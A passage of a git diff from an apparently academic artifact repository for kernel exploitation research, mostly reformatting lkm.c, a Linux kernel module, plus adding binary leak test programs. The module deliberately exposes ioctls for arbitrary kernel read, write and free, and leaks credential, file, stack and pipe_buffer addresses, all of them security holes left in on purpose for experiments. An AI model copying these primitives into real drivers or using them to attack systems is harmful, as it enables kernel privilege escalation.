b/paper/artifacts/generic/page_type_diff.elf differ diff --git a/paper/artifacts/generic/vmalloc_leak.elf b/paper/artifacts/generic/vmalloc_leak.elf new file mode 100755 index 000000000..3d7ac3c2e Binary files /dev/null and b/paper/artifacts/generic/vmalloc_leak.elf differ diff --git a/paper/artifacts/generic/vmemmap_leak.elf b/paper/artifacts/generic/vmemmap_leak.elf new file mode 100755 index 000000000..68c38afe3 Binary files /dev/null and b/paper/artifacts/generic/vmemmap_leak.elf differ diff --git a/paper/artifacts/heap/cred_leak.elf b/paper/artifacts/heap/cred_leak.elf new file mode 100755 index 000000000..eefd54ed5 Binary files /dev/null and b/paper/artifacts/heap/cred_leak.elf differ diff --git a/paper/artifacts/heap/file_leak.elf b/paper/artifacts/heap/file_leak.elf new file mode 100755 index 000000000..e490c57e6 Binary files /dev/null and b/paper/artifacts/heap/file_leak.elf differ diff --git a/paper/artifacts/heap/msg_msg_leak.elf b/paper/artifacts/heap/msg_msg_leak.elf new file mode 100755 index 000000000..9743ca134 Binary files /dev/null and b/paper/artifacts/heap/msg_msg_leak.elf differ diff --git a/paper/artifacts/heap/pipe_buffer_leak.elf b/paper/artifacts/heap/pipe_buffer_leak.elf new file mode 100755 index 000000000..1a2cfd25c Binary files /dev/null and b/paper/artifacts/heap/pipe_buffer_leak.elf differ diff --git a/paper/artifacts/heap/seq_file_leak.elf b/paper/artifacts/heap/seq_file_leak.elf new file mode 100755 index 000000000..a633f6a6d Binary files /dev/null and b/paper/artifacts/heap/seq_file_leak.elf differ diff --git a/paper/artifacts/include/pipe_buffer.h b/paper/artifacts/include/pipe_buffer.h index cf587d896..30038e9aa 100644 --- a/paper/artifacts/include/pipe_buffer.h +++ b/paper/artifacts/include/pipe_buffer.h @@ -1,56 +1,63 @@ #pragma once -#include -#include -#include -#include -#include #include #include -void alloc_pipes(int *pipefd, int flags) +#include +#include +#include +#include +#include + +void +alloc_pipes(int *pipefd, int flags) { - int ret = pipe2(pipefd, flags); - if (ret < 0) { - perror("pipe2"); - exit(-1); - } + int ret = pipe2(pipefd, flags); + if (ret < 0) { + perror("pipe2"); + exit(-1); + } } -void write_pipe(int fd, char *buf, size_t sz) +void +write_pipe(int fd, char *buf, size_t sz) { - int ret = write(fd, buf, sz); - if (ret < 0) { - perror("write(pipes)"); - exit(-1); - } + int ret = write(fd, buf, sz); + if (ret < 0) { + perror("write(pipes)"); + exit(-1); + } } -void resize_pipe(int fd, size_t nr_slots) +void +resize_pipe(int fd, size_t nr_slots) { - int ret = fcntl(fd, F_SETPIPE_SZ, nr_slots << 12); - if (ret < 0) { - perror("fcntl(fd, F_SETPIPE_SZ, nr_slots << 12)"); - exit(-1); - } + int ret = fcntl(fd, F_SETPIPE_SZ, nr_slots << 12); + if (ret < 0) { + perror("fcntl(fd, F_SETPIPE_SZ, nr_slots << 12)"); + exit(-1); + } } -int write_pipe_no_err(int fd, char *buf, size_t sz) +int +write_pipe_no_err(int fd, char *buf, size_t sz) { - int ret = write(fd, buf, sz); - return ret; + int ret = write(fd, buf, sz); + return ret; } -void read_pipe(int fd, char *buf, size_t sz) +void +read_pipe(int fd, char *buf, size_t sz) { - int ret = read(fd, buf, sz); - if (ret < 0) { - perror("read(pipes)"); - exit(-1); - } + int ret = read(fd, buf, sz); + if (ret < 0) { + perror("read(pipes)"); + exit(-1); + } } -int read_pipe_no_err(int fd, char *buf, size_t sz) +int +read_pipe_no_err(int fd, char *buf, size_t sz) { - int ret = read(fd, buf, sz); - return ret; -} \ No newline at end of file + int ret = read(fd, buf, sz); + return ret; +} diff --git a/paper/artifacts/lkm.c b/paper/artifacts/lkm.c index 16b761747..1bb0b51c8 100644 --- a/paper/artifacts/lkm.c +++ b/paper/artifacts/lkm.c @@ -1,21 +1,21 @@ -#include -#include -#include #include -#include -#include #include -#include -#include -#include +#include #include #include +#include +#include +#include +#include +#include +#include #include +#include #include "include/lkm.h" #define DEVICE_NAME "lkm" -#define CLASS_NAME "lkmclass" +#define CLASS_NAME "lkmclass" int lkm_init_device_driver(void); static int lkm_init(void); @@ -49,33 +49,15 @@ unsigned long __text; unsigned long vmemmap_base; unsigned long vmalloc_base; unsigned long __end; -static struct kprobe kp = { - .symbol_name = "init_top_pgt" -}; -static struct kprobe kp1 = { - .symbol_name = "module_alloc" -}; -static struct kprobe kp2 = { - .symbol_name = "set_memory_rox" -}; -static struct kprobe kp3 = { - .symbol_name = "ipc_obtain_object_check" -}; -static struct kprobe kp4 = { - .symbol_name = "slub_addr_base" -}; -static struct kprobe kp5 = { - .symbol_name = "_text" -}; -static struct kprobe kp6 = { - .symbol_name = "vmemmap_base" -}; -static struct kprobe kp7 = { - .symbol_name = "vmalloc_base" -}; -static struct kprobe kp8 = { - .symbol_name = "__brk_dmi_alloc" -}; +static struct kprobe kp = { .symbol_name = "init_top_pgt" }; +static struct kprobe kp1 = { .symbol_name = "module_alloc" }; +static struct kprobe kp2 = { .symbol_name = "set_memory_rox" }; +static struct kprobe kp3 = { .symbol_name = "ipc_obtain_object_check" }; +static struct kprobe kp4 = { .symbol_name = "slub_addr_base" }; +static struct kprobe kp5 = { .symbol_name = "_text" }; +static struct kprobe kp6 = { .symbol_name = "vmemmap_base" }; +static struct kprobe kp7 = { .symbol_name = "vmalloc_base" }; +static struct kprobe kp8 = { .symbol_name = "__brk_dmi_alloc" }; #define OBJS_SZ (1ULL << 20) void *objs[OBJS_SZ]; @@ -87,13 +69,15 @@ void *objs[OBJS_SZ]; #define V6_5 #define V6_6 #define V6_8 -int lkm_init_device_driver(void) +int +lkm_init_device_driver(void) { int ret; printk(KERN_INFO "lkm:init_device_driver: start\n"); ret = register_chrdev(0, DEVICE_NAME, &lkm_fops); - if (ret < 0) goto ERROR; + if (ret < 0) + goto ERROR; lkm_major = ret; #if defined(V6_5) || defined(V6_8) || defined(V6_6) lkm_class = class_create(CLASS_NAME); @@ -105,13 +89,16 @@ int lkm_init_device_driver(void) goto ERROR1; } - lkm_device = device_create(lkm_class, 0, MKDEV(lkm_major, 0), 0, DEVICE_NAME); + lkm_device = device_create(lkm_class, 0, MKDEV(lkm_major, 0), 0, + DEVICE_NAME); if (IS_ERR(lkm_device)) { ret = PTR_ERR(lkm_device); goto ERROR2; } - printk(KERN_INFO "lkm:init_device_driver: done '/dev/%s c %d' 0 created\n", DEVICE_NAME, lkm_major); + printk(KERN_INFO + "lkm:init_device_driver: done '/dev/%s c %d' 0 created\n", + DEVICE_NAME, lkm_major); return 0; ERROR2: @@ -132,34 +119,38 @@ ERROR: /* * Initialization */ -static int lkm_init(void) +static int +lkm_init(void) { int ret; printk(KERN_INFO "lkm:init: start\n"); ret = lkm_init_device_driver(); - if (ret) goto ERROR; + if (ret) + goto ERROR; - register_kprobe(&kp); + register_kprobe(&kp); _init_top_pgt = (void *)kp.addr; - register_kprobe(&kp1); + register_kprobe(&kp1); module_alloc = (void *(*)(unsigned long))kp1.addr; - register_kprobe(&kp2); - set_memory_rox = (int(*)(unsigned long, int))kp2.addr; - register_kprobe(&kp3); - ipc_obtain_object_check = (struct msg_queue *(*)(struct ipc_ids *, int))kp3.addr; - register_kprobe(&kp4); + register_kprobe(&kp2); + set_memory_rox = (int (*)(unsigned long, int))kp2.addr; + register_kprobe(&kp3); + ipc_obtain_object_check = (struct msg_queue * + (*)(struct ipc_ids *, int)) kp3.addr; + register_kprobe(&kp4); slub_addr_base = *(unsigned long *)kp4.addr; - register_kprobe(&kp5); + register_kprobe(&kp5); __text = (unsigned long)kp5.addr; - register_kprobe(&kp6); + register_kprobe(&kp6); vmemmap_base = *(unsigned long *)kp6.addr; - register_kprobe(&kp7); + register_kprobe(&kp7); vmalloc_base = *(unsigned long *)kp7.addr; - register_kprobe(&kp8); + register_kprobe(&kp8); __end = (unsigned long)kp8.addr; - printk(KERN_INFO "lkm:init: init_top_pgt %016zx\n", (size_t)_init_top_pgt); + printk(KERN_INFO "lkm:init: init_top_pgt %016zx\n", + (size_t)_init_top_pgt); printk(KERN_INFO "lkm:init: lkm_class %016zx\n", (size_t)lkm_class); printk(KERN_INFO "lkm:init: lkm_ioctl %016zx\n", (size_t)lkm_ioctl); @@ -174,18 +165,19 @@ ERROR: /* * Cleanup */ -static void lkm_cleanup(void) +static void +lkm_cleanup(void) { printk(KERN_INFO "lkm:cleanup\n"); - unregister_kprobe(&kp); - unregister_kprobe(&kp1); - unregister_kprobe(&kp2); - unregister_kprobe(&kp3); - unregister_kprobe(&kp4); - unregister_kprobe(&kp5); - unregister_kprobe(&kp6); - unregister_kprobe(&kp7); - unregister_kprobe(&kp8); + unregister_kprobe(&kp); + unregister_kprobe(&kp1); + unregister_kprobe(&kp2); + unregister_kprobe(&kp3); + unregister_kprobe(&kp4); + unregister_kprobe(&kp5); + unregister_kprobe(&kp6); + unregister_kprobe(&kp7); + unregister_kprobe(&kp8); device_destroy(lkm_class, MKDEV(lkm_major, 0)); class_unregister(lkm_class); class_destroy(lkm_class); @@ -195,7 +187,8 @@ static void lkm_cleanup(void) /* * Close "/dev/lkm" */ -int lkm_release(struct inode *inode, struct file *filep) +int +lkm_release(struct inode *inode, struct file *filep) { printk(KERN_INFO "lkm:release\n"); module_put(THIS_MODULE); @@ -206,7 +199,8 @@ EXPORT_SYMBOL(lkm_release); /* * Open "/dev/lkm" */ -int lkm_open(struct inode *inode, struct file *filp) +int +lkm_open(struct inode *inode, struct file *filp) { printk(KERN_INFO "lkm:open\n"); try_module_get(THIS_MODULE); @@ -215,114 +209,116 @@ int lkm_open(struct inode *inode, struct file *filp) EXPORT_SYMBOL(lkm_open); #pragma GCC push_options -#pragma GCC optimize ("O0") -void lkm_alloc(size_t id, size_t loc, size_t size) +#pragma GCC optimize("O0") +void +lkm_alloc(size_t id, size_t loc, size_t size) { switch (loc) { - case 0: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 1: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 2: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 3: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 4: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 5: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 6: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 7: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 8: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 9: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 10: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 11: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 12: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 13: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 14: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 15: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 16: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 17: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 18: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 19: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 20: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 21: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 22: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 23: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 24: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 25: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 26: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 27: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 28: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 29: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 30: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - case 31: - objs[id] = kmalloc(size, GFP_KERNEL); - break; - default: - printk(KERN_ERR "lkm:alloc: invalid loc\n"); - break; + case 0: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 1: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 2: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 3: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 4: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 5: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 6: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 7: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 8: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 9: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 10: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 11: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 12: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 13: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 14: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 15: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 16: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 17: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 18: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 19: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 20: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 21: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 22: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 23: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 24: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 25: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 26: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 27: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 28: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 29: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 30: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 31: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + default: + printk(KERN_ERR "lkm:alloc: invalid loc\n"); + break; } } #pragma GCC pop_options -pte_t *page_walk_pte(size_t addr) +pte_t * +page_walk_pte(size_t addr) { unsigned long above = ((long)addr) >> __VIRTUAL_MASK_SHIFT; pgd_t *pgd; @@ -362,7 +358,8 @@ pte_t *page_walk_pte(size_t addr) return pte; } -pmd_t *page_walk_pmd(size_t addr) +pmd_t * +page_walk_pmd(size_t addr) { unsigned long above = ((long)addr) >> __VIRTUAL_MASK_SHIFT; pgd_t *pgd; @@ -395,7 +392,8 @@ pmd_t *page_walk_pmd(size_t addr) return pmd; } -bool isLargePage(size_t addr) +bool +isLargePage(size_t addr) { unsigned long above = ((long)addr) >> __VIRTUAL_MASK_SHIFT; pgd_t *pgd; @@ -436,13 +434,15 @@ bool isLargePage(size_t addr) return 0; } -void dpm_test(void) +void +dpm_test(void) { - int max_large = 10; + int max_large = 10; size_t start = 0; - size_t end = 32ULL*1024ULL*1024ULL*1024ULL; - printk(KERN_INFO "lkm:dpm_test: physical mapping paddr [%016zx - %016zx] vaddr [%016zx - %016zx]\n", - start, end, (size_t)__va(start), (size_t)__va(end)); + size_t end = 32ULL * 1024ULL * 1024ULL * 1024ULL; + printk(KERN_INFO + "lkm:dpm_test: physical mapping paddr [%016zx - %016zx] vaddr [%016zx - %016zx]\n", + start, end, (size_t)__va(start), (size_t)__va(end)); size_t count = 0; size_t paddr; for (paddr = start; paddr < end; paddr += PMD_SIZE) { @@ -454,29 +454,34 @@ void dpm_test(void) size_t pagecachedisabled = 0; size_t global = 0; size_t _paddr; - for (_paddr = paddr; _paddr < paddr + PMD_SIZE; _paddr += PAGE_SIZE) { + for (_paddr = paddr; _paddr < paddr + PMD_SIZE; + _paddr += PAGE_SIZE) { size_t vaddr = (size_t)phys_to_virt(_paddr); pte_t *pte = page_walk_pte(vaddr); if (!pte) { - // printk(KERN_DEBUG "lkm:dpm_test: vaddr %016zx pte 0\n", vaddr); + // printk(KERN_DEBUG "lkm:dpm_test: + // vaddr %016zx pte 0\n", vaddr); continue; } diff += !!((pte->pte & 0xfff) ^ 0x163); writable += !!(pte->pte & _PAGE_RW); pagecachedisabled += !!(pte->pte & _PAGE_PCD); global += !!(pte->pte & _PAGE_GLOBAL); - // printk(KERN_DEBUG "lkm:dpm_test: vaddr %016zx pte %016zx\n", vaddr, pte->pte); + // printk(KERN_DEBUG "lkm:dpm_test: vaddr %016zx + // pte %016zx\n", vaddr, pte->pte); count++; } - printk(KERN_DEBUG "lkm:dpm_test: vaddr %016zx with [%4zd diff] [%4zd wr] [%4zd pcd] [%4zd g]\n", vaddr, diff, writable, pagecachedisabled, global); - } - else if (max_large > 0 && isLargePage(vaddr)) - { + printk(KERN_DEBUG + "lkm:dpm_test: vaddr %016zx with [%4zd diff] [%4zd wr] [%4zd pcd] [%4zd g]\n", + vaddr, diff, writable, pagecachedisabled, global); + } else if (max_large > 0 && isLargePage(vaddr)) { max_large--; - printk(KERN_DEBUG "lkm:dpm_test: 2MB: vaddr %016zx\n", vaddr); + printk(KERN_DEBUG "lkm:dpm_test: 2MB: vaddr %016zx\n", + vaddr); } } - printk(KERN_INFO "lkm:dpm_test: count/max %5zu/%zu\n", count, (end - start) / PAGE_SIZE); + printk(KERN_INFO "lkm:dpm_test: count/max %5zu/%zu\n", count, + (end - start) / PAGE_SIZE); pmd_t *_text_pmd = page_walk_pmd(__text); pmd_t *_end_pmd = page_walk_pmd(__end); @@ -484,11 +489,14 @@ void dpm_test(void) printk(KERN_INFO "lkm:dpm_text: _end %016zx\n", __end); size_t _text_pa = (size_t)__va(_text_pmd->pmd & 0xfffffffff000); size_t _end_pa = (size_t)__va(_end_pmd->pmd & 0xfffffffff000); - printk(KERN_INFO "lkm:dpm_text: _text_pa %016zx %s\n", _text_pa, isLargePage(_text_pa) ? "2MB page" : "4k page"); - printk(KERN_INFO "lkm:dpm_text: _end_pa %016zx %s\n", _end_pa, isLargePage(_end_pa) ? "2MB page" : "4k page"); + printk(KERN_INFO "lkm:dpm_text: _text_pa %016zx %s\n", _text_pa, + isLargePage(_text_pa) ? "2MB page" : "4k page"); + printk(KERN_INFO "lkm:dpm_text: _end_pa %016zx %s\n", _end_pa, + isLargePage(_end_pa) ? "2MB page" : "4k page"); } -void bpf_dpm_split(size_t size) +void +bpf_dpm_split(size_t size) { void *obj; pte_t *pte; @@ -498,7 +506,8 @@ void bpf_dpm_split(size_t size) set_memory_rox((unsigned long)obj, size >> 12); pte = page_walk_pte((unsigned long)obj); vaddr = (size_t)phys_to_virt(pte->pte & 0xffffffffff000); - printk(KERN_INFO "obj %016zx vaddr %016zx\n", (unsigned long)obj, vaddr); + printk(KERN_INFO "obj %016zx vaddr %016zx\n", (unsigned long)obj, + vaddr); } struct msg_queue { @@ -515,9 +524,10 @@ struct msg_queue { struct list_head q_receivers; struct list_head q_senders; }; -#define IPC_MSG_IDS 1 -#define msg_ids(ns) ((ns)->ids[IPC_MSG_IDS]) -static unsigned long msg_copy_to_user(size_t msqid, size_t type) +#define IPC_MSG_IDS 1 +#define msg_ids(ns) ((ns)->ids[IPC_MSG_IDS]) +static unsigned long +msg_copy_to_user(size_t msqid, size_t type) { struct msg_queue *msq; struct msg_msg *msg; @@ -527,17 +537,22 @@ static unsigned long msg_copy_to_user(size_t msqid, size_t type) rcu_read_lock(); // printk(KERN_DEBUG "lkm:msg_copy_to_user: msqid %ld\n", msqid); ns = current->nsproxy->ipc_ns; - // printk(KERN_DEBUG "lkm:msg_copy_to_user: ns %016zd\n", (unsigned long)ns); + // printk(KERN_DEBUG "lkm:msg_copy_to_user: ns %016zd\n", (unsigned + // long)ns); ids = &msg_ids(ns); - // printk(KERN_DEBUG "lkm:msg_copy_to_user: ids %016zd\n", (unsigned long)ids); + // printk(KERN_DEBUG "lkm:msg_copy_to_user: ids %016zd\n", (unsigned + // long)ids); msq = ipc_obtain_object_check(ids, msqid); - // printk(KERN_DEBUG "lkm:msg_copy_to_user: msq %016zd\n", (unsigned long)msq); + // printk(KERN_DEBUG "lkm:msg_copy_to_user: msq %016zd\n", (unsigned + // long)msq); if (IS_ERR(msq)) goto RETURN; - list_for_each_entry(msg, &msq->q_messages, m_list) { + list_for_each_entry(msg, &msq->q_messages, m_list) + { if (msg->m_type == type) { found = msg; - // printk(KERN_DEBUG "lkm:msg_copy_to_user: found %016zx\n", (unsigned long)found); + // printk(KERN_DEBUG "lkm:msg_copy_to_user: found + // %016zx\n", (unsigned long)found); break; } } @@ -553,13 +568,15 @@ size_t SLAB_BASE_ADDR = 0; size_t SLAB_END_ADDR = 0; #endif -static int bad_address(void *p) +static int +bad_address(void *p) { unsigned long dummy; return get_kernel_nofault(dummy, (unsigned long *)p); } -noinline void pagetable_walk(msg_t *msg) +noinline void +pagetable_walk(msg_t *msg) { size_t address = msg->ptw.uaddr; pgd_t *base = __va(read_cr3_pa()); @@ -619,7 +636,8 @@ out: /* * ioctl code */ -long lkm_ioctl(struct file *_, unsigned int num, long unsigned int param) +long +lkm_ioctl(struct file *_, unsigned int num, long unsigned int param) { int ret; msg_t msg; @@ -635,9 +653,10 @@ long lkm_ioctl(struct file *_, unsigned int num, long unsigned int param) unsigned int head; unsigned int mask; - // printk(KERN_INFO "lkm:ioctl: start num 0x%08x param 0x%016lx\n", num, param); + // printk(KERN_INFO "lkm:ioctl: start num 0x%08x param 0x%016lx\n", num, + // param); - ret = copy_from_user((msg_t*)&msg, (msg_t*)param, sizeof(msg_t)); + ret = copy_from_user((msg_t *)&msg, (msg_t *)param, sizeof(msg_t)); if (ret < 0) { printk(KERN_ERR "lkm:ioctl: copy_from_user failed\n"); ret = -1; @@ -645,183 +664,191 @@ long lkm_ioctl(struct file *_, unsigned int num, long unsigned int param) } switch (num) { - - case LKM_ALLOC: - if (msg.al.id >= OBJS_SZ) { - printk(KERN_ERR "lkm:ioctl: index %zd too large\n", msg.al.id); - ret = -1; - goto RETURN; - } - if (msg.al.size > 4096) { - printk(KERN_ERR "lkm:ioctl: size %zd too big\n", msg.al.size); - ret = -1; - goto RETURN; - } - objs[msg.al.id] = kmalloc(msg.al.size, GFP_KERNEL); - break; - - case LKM_FREE: - if (msg.fr.id >= OBJS_SZ) { - printk(KERN_ERR "lkm:ioctl: %zd too large\n", msg.fr.id); - ret = -1; - goto RETURN; - } - kfree(objs[msg.fr.id]); - break; - - case LKM_WRITE: - // printk(KERN_INFO "lkm:ioctl: arbitrary write\n"); - *(size_t *)msg.wr.kaddr = msg.wr.value; - break; - - case LKM_READ: - // printk(KERN_INFO "lkm:ioctl: arbitrary read\n"); - tmp = *(size_t *)msg.rd.kaddr; - uaddr = (size_t *)msg.rd.uaddr; - goto COPY_TMP_TO_USER; - - case LKM_DPM_TEST: - dpm_test(); - break; - - case LKM_ACCESS_PRIMITIVE: - *(volatile size_t *)msg.ap.addr; - break; - - case LKM_BPF_DPM_SPLIT: - // printk(KERN_INFO "lkm:ioctl: bpf dpm split\n"); - bpf_dpm_split(msg.dpms.size); - break; - - case LKM_MSG_MSG_LEAK: - tmp = msg_copy_to_user(msg.mrd.msqid, msg.mrd.mtype); - uaddr = (size_t *)msg.mrd.uaddr; - // printk(KERN_DEBUG "lkm:ioctl: msg_msg leak %16zx\n", tmp); - goto COPY_TMP_TO_USER; - - case LKM_DPM_LEAK: - tmp = (size_t)__va(0); - uaddr = (size_t *)msg.drd.uaddr; - // printk(KERN_DEBUG "lkm:ioctl: dpm leak %16zx\n", tmp); - goto COPY_TMP_TO_USER; - - case LKM_VIRTUAL_BASE_LEAK: - tmp = (size_t)slub_addr_base; - uaddr = (size_t *)msg.drd.uaddr; - printk(KERN_INFO "lkm:ioctl: slub_addr_base %16zx within [%016zx %016zx]\n", tmp, SLAB_BASE_ADDR, SLAB_END_ADDR); - goto COPY_TMP_TO_USER; - - case LKM_SEQ_FILE_LEAK: - id = msg.frd.fd; - files = current->files; - - spin_lock(&files->file_lock); - fdt = files_fdtable(files); - file = fdt->fd[id]; - spin_unlock(&files->file_lock); - - tmp = (size_t)file->private_data; - // printk(KERN_INFO "lkm:ioctl: seq_file %016zx\n", tmp); - uaddr = (size_t *)msg.frd.uaddr; - goto COPY_TMP_TO_USER; - - case LKM_CRED_LEAK: - tmp = (size_t)current->real_cred; - uaddr = (size_t *)msg.drd.uaddr; - // printk(KERN_INFO "lkm:ioctl: current->cred %016zx\n", tmp); - goto COPY_TMP_TO_USER; - - case LKM_FILE_LEAK: - id = msg.frd.fd; - files = current->files; - - spin_lock(&files->file_lock); - fdt = files_fdtable(files); - tmp = (size_t)fdt->fd[id]; - spin_unlock(&files->file_lock); - - // printk(KERN_INFO "lkm:ioctl: file %016zx\n", tmp); - uaddr = (size_t *)msg.frd.uaddr; - goto COPY_TMP_TO_USER; - - case LKM_STACK_LEAK: - tmp = (size_t)current->stack; - uaddr = (size_t *)msg.drd.uaddr; - // printk(KERN_DEBUG "lkm:ioctl: current->stack %16zx with current %16zx within [%016zx %016zx]\n", tmp, (size_t)&dummy, VMALLOC_START, VMALLOC_END); - goto COPY_TMP_TO_USER; - - case LKM_CODE_LEAK: - tmp = (size_t)__text; - uaddr = (size_t *)msg.drd.uaddr; - goto COPY_TMP_TO_USER; - - case LKM_VMEMMAP_LEAK: - tmp = (size_t)vmemmap_base; - uaddr = (size_t *)msg.drd.uaddr; - goto COPY_TMP_TO_USER; - - case LKM_VMALLOC_BASE_LEAK: - tmp = (size_t)vmalloc_base; - uaddr = (size_t *)msg.drd.uaddr; - goto COPY_TMP_TO_USER; - - case LKM_ARB_FREE: - printk(KERN_DEBUG "lkm:ioctl: free %016zx\n", msg.af.kaddr); - kfree((void *)msg.af.kaddr); - break; - - case LKM_PIPE_BUFFER_LEAK: - id = msg.pbrd.fd; - files = current->files; - - spin_lock(&files->file_lock); - fdt = files_fdtable(files); - file = fdt->fd[id]; - spin_unlock(&files->file_lock); - - pipe = file->private_data; - tail = pipe->tail; - head = pipe->head; - mask = pipe->ring_size - 1; - if (msg.pbrd.rdend) - tmp = (size_t)&pipe->bufs[tail & mask]; - else - tmp = (size_t)&pipe->bufs[(head - 1) & mask]; - // printk(KERN_DEBUG "lkm:ioctl: pipe_buffer %016zx\n", tmp); - uaddr = (size_t *)msg.pbrd.uaddr; - goto COPY_TMP_TO_USER; - - case LKM_PAGETABLE_WALK: - printk(KERN_DEBUG "lkm:ioctl: page table walk\n"); - msg.ptw.pgde = 0; - msg.ptw.p4de = 0; - msg.ptw.pude = 0; - msg.ptw.pmde = 0; - msg.ptw.pte = 0; - pagetable_walk(&msg); - ret = copy_to_user((msg_t*)param, (msg_t*)&msg, sizeof(msg_t)); - if (ret < 0) { - printk(KERN_ALERT "lkm:ioctl: copy_to_user failed\n"); - ret = -1; - goto RETURN; - } - break; - - case LKM_IS_4KB: - ret = !isLargePage(msg.ap.addr); - // printk(KERN_DEBUG "lkm:ioctl: %016zx is %s page\n", msg.ap.addr, ret == 1 ? "4kB" : "2MB"); - return ret; - - default: - printk(KERN_ERR "lkm:ioctl: no valid num\n"); + case LKM_ALLOC: + if (msg.al.id >= OBJS_SZ) { + printk(KERN_ERR "lkm:ioctl: index %zd too large\n", + msg.al.id); ret = -1; goto RETURN; + } + if (msg.al.size > 4096) { + printk(KERN_ERR "lkm:ioctl: size %zd too big\n", + msg.al.size); + ret = -1; + goto RETURN; + } + objs[msg.al.id] = kmalloc(msg.al.size, GFP_KERNEL); + break; + + case LKM_FREE: + if (msg.fr.id >= OBJS_SZ) { + printk(KERN_ERR "lkm:ioctl: %zd too large\n", + msg.fr.id); + ret = -1; + goto RETURN; + } + kfree(objs[msg.fr.id]); + break; + + case LKM_WRITE: + // printk(KERN_INFO "lkm:ioctl: arbitrary write\n"); + *(size_t *)msg.wr.kaddr = msg.wr.value; + break; + + case LKM_READ: + // printk(KERN_INFO "lkm:ioctl: arbitrary read\n"); + tmp = *(size_t *)msg.rd.kaddr; + uaddr = (size_t *)msg.rd.uaddr; + goto COPY_TMP_TO_USER; + + case LKM_DPM_TEST: + dpm_test(); + break; + + case LKM_ACCESS_PRIMITIVE: + *(volatile size_t *)msg.ap.addr; + break; + + case LKM_BPF_DPM_SPLIT: + // printk(KERN_INFO "lkm:ioctl: bpf dpm split\n"); + bpf_dpm_split(msg.dpms.size); + break; + + case LKM_MSG_MSG_LEAK: + tmp = msg_copy_to_user(msg.mrd.msqid, msg.mrd.mtype); + uaddr = (size_t *)msg.mrd.uaddr; + // printk(KERN_DEBUG "lkm:ioctl: msg_msg leak %16zx\n", tmp); + goto COPY_TMP_TO_USER; + + case LKM_DPM_LEAK: + tmp = (size_t)__va(0); + uaddr = (size_t *)msg.drd.uaddr; + // printk(KERN_DEBUG "lkm:ioctl: dpm leak %16zx\n", tmp); + goto COPY_TMP_TO_USER; + + case LKM_VIRTUAL_BASE_LEAK: + tmp = (size_t)slub_addr_base; + uaddr = (size_t *)msg.drd.uaddr; + printk(KERN_INFO + "lkm:ioctl: slub_addr_base %16zx within [%016zx %016zx]\n", + tmp, SLAB_BASE_ADDR, SLAB_END_ADDR); + goto COPY_TMP_TO_USER; + + case LKM_SEQ_FILE_LEAK: + id = msg.frd.fd; + files = current->files; + + spin_lock(&files->file_lock); + fdt = files_fdtable(files); + file = fdt->fd[id]; + spin_unlock(&files->file_lock); + + tmp = (size_t)file->private_data; + // printk(KERN_INFO "lkm:ioctl: seq_file %016zx\n", tmp); + uaddr = (size_t *)msg.frd.uaddr; + goto COPY_TMP_TO_USER; + + case LKM_CRED_LEAK: + tmp = (size_t)current->real_cred; + uaddr = (size_t *)msg.drd.uaddr; + // printk(KERN_INFO "lkm:ioctl: current->cred %016zx\n", tmp); + goto 